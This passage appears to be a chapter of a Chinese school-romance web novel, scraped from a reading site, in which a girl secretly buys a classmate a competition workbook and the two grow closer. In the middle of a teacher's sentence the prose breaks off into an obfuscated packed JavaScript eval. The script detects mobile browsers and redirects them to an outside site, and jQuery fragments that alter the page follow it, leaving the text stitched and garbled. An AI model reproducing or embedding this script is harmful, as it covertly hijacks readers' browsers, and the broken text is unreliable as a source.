灶台上的腌菜坛静静立着，红布结在灯光下泛着柔和的光。林溪摸了摸坛身，余温还在，像那个少年没说出口的关心。


    窗外的风还在吹，槐树叶落得更紧了。林溪看着碗里的排骨，突然觉得这个冬天好像没那么长了。坛子里的芥菜在酝酿着春天的味道，而那个藏在草稿纸背面的少年，总有一天会把所有的温柔都展现出来，像破土而出的种子，长成参天的模样。


    她低头喝了一口汤，甜丝丝的暖意从胃里蔓延开来，像撒了一把阳光在心上，暖洋洋的。


    县新华书店的玻璃柜台擦得能照见人影，连柜角的铜锁都被擦得锃亮，像块浸在水里的碎银。林溪踮着脚够最上层的《英语竞赛真题集》，棉鞋的后跟在水泥地上磨出轻微的声响，指尖划过烫金的书名，价格标签在日光灯下闪着冷光——十五块八，够买两斤排骨，或是给张妈买副加绒的新手套了。


    她摸了摸口袋里的蓝布包，硬币和角票在里面叮当作响，像串没上弦的风铃。这是攒了三周的零花钱，每天午饭省下半块馒头，课间拒绝李婷递来的辣条，一点点抠出来的。原本攥着钱在手套柜台前站了好久，藏青色的毛线看着就暖和，可想起陆泽言背单词时紧锁的眉头，想起他笔记本上密密麻麻抄着的生词，手指还是勾住了书脊。


    “小姑娘好眼光，”柜台后的阿姨推了推老花镜，镜片反射着顶灯的光，“这书卖得俏，全县就剩三本了，县一中的老师都推荐。前儿个还有个戴眼镜的男老师来批，说押题准着呢。”


    林溪把书抱在怀里，塑封膜硬邦邦的，硌得指尖发红。上次路过办公室，她听见乐老师跟王老师说：“陆泽言这孩子，语法基础扎实得像块青砖，就是词汇量跟不上，像是盖房子缺了砖。要是能系统刷点题，参加竞赛说不定能拿奖，对高考有好处。”那时陆泽言正抱着作业本从门口经过，蓝棉袄的后襟沾着点粉笔灰，像只停在背上的灰蝴蝶。


    走出书店时，北风卷着雪沫子打在脸上，像撒了把碎冰碴。林溪把书塞进棉袄里层，紧贴着胸口的地方，那里有块用棉花缝的小口袋，原本是张妈给她放准考证的。现在真题集被捂得暖暖的，封面上的烫金字在布料上印出浅浅的痕，像枚没盖章的邮票，藏着不能说的心事。


    早读课的琅琅书声像条流动的河，漫过课桌间的缝隙。林溪盯着陆泽言的后脑勺，他的头发被剪得很短，脖颈处露出一小片皮肤，在晨光里泛着淡淡的青色。她把真题集往他桌上推了推，指尖刚碰到桌沿，又像被烫到似的缩回来，反复几次，书脊终于越过了两人课桌的分界线。


    他正低头默写单词，蓝棉袄的领口立着，遮住了半张脸，只有握着钢笔的手露在外面。那支钢笔看着有些年头了，笔帽上的漆掉了一块，露出里面的铜色，指腹结着层薄茧，大概是常年握笔磨出来的。


    “这个，”林溪的声音压得比蚊子还低，混在周围“abandon，abandon，放弃”的朗读声里，几乎要被淹没，“我多买了一本，你看看有没有用。”


    陆泽言的背僵了半秒，像被按了暂停键的磁带。过了会儿，他才慢慢转过头，睫毛上沾着点阳光的碎屑，亮闪闪的。目光落在书脊上时，他突然伸手翻到高频词表那页，正是他昨晚在路灯下抄了半本笔记本的内容，那些用红笔圈出的重点，和书上的标注重合得丝毫不差。


    “多少钱？”他从口袋里摸出个铁皮饼干盒，盒子上印着褪色的熊猫图案，哗啦啦倒出一堆毛票，壹角的、伍分的，还有两枚边缘磨圆的壹分硬币，“我现在只有这些，剩下的下次还你。”


    林溪赶紧按住他的手，指尖不小心碰到他掌心的茧子，像被砂纸轻轻磨过，带着点粗糙的暖意。“不用不用，”她的脸有点烫，耳朵尖像被炭火燎过，“书店搞活动买一送一，白得的，放着也是浪费。”


    陆泽言沉默了，睫毛垂下来，在眼睑下方投出片浅灰的阴影。他把饼干盒往回拢了拢，硬币碰撞的声音变得很轻，像怕惊扰了什么似的。


    窗外的梧桐树影晃了晃，被风推着掠过他翻开的书页，像片悄悄舒展的叶子，在字里行间投下细碎的光斑。林溪看见他的钢笔在单词本上顿了顿，墨水洇出个小小的点，像颗没说出口的句号。


    课间操的广播声震得窗户嗡嗡响，《运动员进行曲》的旋律里混着同学们的脚步声，像支杂乱的鼓点。林溪蹲在操场边系鞋带，红色的鞋带在指间绕来绕去，打成个歪歪扭扭的蝴蝶结。眼角余光瞥见赵磊带着两个男生堵住陆泽言，他们的影子在雪地上拉得很长，像三只张牙舞爪的野兽。


    “你哪来竞赛题啊，”赵磊抢过他手里的书，食指在封面上敲得咚咚响，突然往地上一摔，“该不会是林溪给你买的吧？”


    书“啪”地砸在冻硬的泥地上，塑封膜磕出道裂痕，像道受伤的伤口。陆泽言弯腰去捡，赵磊却一脚踩在书上，军绿色的棉鞋跟碾了碾：“捡啊，求我就给你捡。”


    周围的哄笑声像针一样扎过来，扎得人耳朵疼。李婷在旁边急得直跺脚，想上前又被张超拉住：“别去，赵磊他表哥是联防队的，不好惹。”林溪刚要站起来，膝盖却先一步麻了，等她撑着地面站稳时，正见陆泽言突然抓住赵磊的脚踝，手腕轻轻一掀。


    赵磊“哎哟”一声摔在雪地里，军绿色的羽绒服沾满泥点，活像只刚从泥潭里捞出来的落汤鸡。他的两个跟班想上前，陆泽言冷冷地扫了他们一眼，那目光像寒冬里的冰棱，让两人的脚像被钉在地上似的，动弹不得。


    “书是我的，”陆泽言捡起真题集，用袖子仔细擦着封面上的脚印，布料蹭过烫金字时发出沙沙声，他的声音冷得像结了冰，“别碰。还有赵磊，你是忘记上次篮球的事儿了吗？”


    他转身往教学楼走，蓝棉袄的后襟沾着点雪沫子，像只停在背上的白蝴蝶。经过林溪身边时，脚步顿了顿。林溪赶紧低下头系鞋带，假装没看见，却听见他丢下句很轻的话，被风吹得打了个旋：“谢了。”


    雪沫子落在睫毛上，凉丝丝的，心里却像揣了个小暖炉，慢慢热起来。她看着自己的鞋带，刚才打的蝴蝶结不知什么时候散开了，鞋带在雪地里映出点暖融融的光，像根没说出口的线，悄悄把两个人的影子连在了一起。下午的自习课，阳光斜斜切过教室，在课桌上投下窗格的影子。林溪正埋头做数学题，笔尖在草稿纸上划出道道横线，试图解开那道该死的二次函数。前排传来翻书的声音，她抬起头，看向陆泽言的方向。


    他正专注地看着那本真题集，眉头微蹙，像在解一道复杂的物理题。时不时在旁边的笔记本上写着什么，钢笔尖划过纸页，发出沙沙的轻响，在安静的教室里格外清晰。阳光透过窗户洒在他身上，给他镀上了一层金边，连他蓝棉袄上的绒毛都变得金灿灿的，那一刻的他，耀眼得让人移不开眼。


    林溪的心里涌起一股莫名的喜悦，像喝了口加了蜜的红糖水，甜丝丝的。她知道自己做对了，这本真题集或许真的能帮到他，能让他离那个“竞赛拿奖”的目标更近一步。她低下头，继续做题，嘴角却忍不住微微上扬，连那道难搞的二次函数，似乎也变得没那么棘手了。


    后排传来王老师的脚步声，他手里拿着保温杯，正挨个检查自习纪律。走到赵磊座位旁时，他皱了皱眉：“怎么回事？衣服怎么湿了？”赵磊支支吾吾说不出话，王老师也没追问，只是敲了敲他的桌子：“好好做题，别总


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147379|180507||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    想着捣乱。”


    陆泽言在这时抬起头，目光和王老师对上，他把真题集往抽屉里塞了塞，却被王老师按住手：“是英语竞赛的题？我那儿有套去年的听力磁带，放学来我办公室拿。”陆泽言愣了愣，点了点头，耳根悄悄泛起红，像被夕阳染过的云。


    林溪看着这一幕，手里的钢笔在草稿纸上画出个小小的太阳，圆圈歪歪扭扭的，却透着满满的暖意。


    放学的时候，林溪收拾书包，听见值日生扫地的声音哗啦哗啦响，像在演奏一支匆忙的曲子。她看见陆泽言也在收拾东西，动作比平时慢了些，把课本和笔记本按大小摞好，最后才拿起那本英语竞赛真题集。


    他用橡皮筋在书脊上绕了两圈，小心翼翼地放进书包里，动作轻柔得像是在对待什么珍宝。林溪背起书包，跟在他后面走出教室，走廊里的夕阳把两人的影子拉得很长，像两条并排游走的鱼。


    “等会儿补物理，”陆泽言突然停下脚步，楼梯口的风灌进他的领口，让他的声音发飘，“你把上周的错题本带来。”


    林溪“嗯”了一声，看见他的手指在书包带上绕了绕，又松开，像在纠结什么。走到校门口时，卖烤红薯的大爷正收摊，铁皮桶里的炭火发出噼啪声，最后几个红薯在里面滚来滚去。陆泽言突然往那边走了两步，又停住，回头对林溪说：“你先去教室，我去趟厕所。”


    林溪点点头，看着他的背影拐进巷口，蓝棉袄在夕阳里成了个模糊的蓝点。等她走到教室时，却发现自己的课桌里多了样东西，一个用牛皮纸包着的烤红薯，还热乎着，透过纸散发出甜丝丝的香气。


    窗外的天色慢慢暗下来，教室里的煤油灯被点亮，昏黄的光笼罩着两张并排的课桌。陆泽言翻开林溪的错题本，红笔在二次函数图像上圈了圈：“这里的力算错了。”他的指尖点过纸面，留下个浅浅的印，像颗没说出口的星。


    林溪盯着他的手，那双手能解最难的物理题，能搬动沉重的煤块，此刻握着红笔时却格外稳，笔尖在纸上划过，留下清晰的痕迹。她突然想起早上在书店，阿姨说这书全县只剩三本，不知道他会不会猜到，其实根本没有什么买一送一的活动。


    “听懂了吗？”陆泽言抬起头，睫毛在灯光下投下浅灰的阴影。


    林溪赶紧点头，脸颊有点热，像被灯光烤着似的。真题集放在他的桌角，封面上的划痕在灯光下若隐若现，像道愈合的伤口，藏着属于两个人的秘密。


    一月的寒风卷着雪籽打在教室窗户上，发出“噼里啪啦”的声响，像有无数颗小石子在外面敲打着玻璃。窗台上的冰棱结得又尖又长，在灰蒙蒙的天光里闪着冷光，把玻璃映得一片斑驳。物理老师朱老师抱着期末考模拟卷走进来，他的黑色棉鞋沾着些雪沫子，在讲台边跺了跺，讲台下的唏嘘声像被踩住尾巴的猫，瞬间蔫了下去。


    “这次的物理难度和期末考持平，”朱老师把卷子往讲台上一磕，粉笔灰腾起的白雾里，他的声音带着点沙哑，却格外清晰，“特别是最后两道大题，县一中的重点班第一名才拿了三十分。”


    林溪的笔尖在卷子上悬了悬，塑料笔杆被手心的汗浸得有点滑。她的目光扫过卷面，那些受力分析图像一群张牙舞爪的小怪兽，看得人头皮发麻。余光瞥见陆泽言已经开始答题，他握笔的手稳得像块不会晃的石头，蓝黑色的墨水在纸上留下工整的字迹，仿佛那些复杂的公式定理在他笔下都变成了温顺的小羊。


    她深吸口气，哈出的白气在眼前散成一团雾。想起昨晚他给她讲题时说的“别怕复杂，把每个已知条件列出来，就像拆积木”，指尖终于落在纸上，在草稿纸一角画了个小小的积木堆，给自己打气。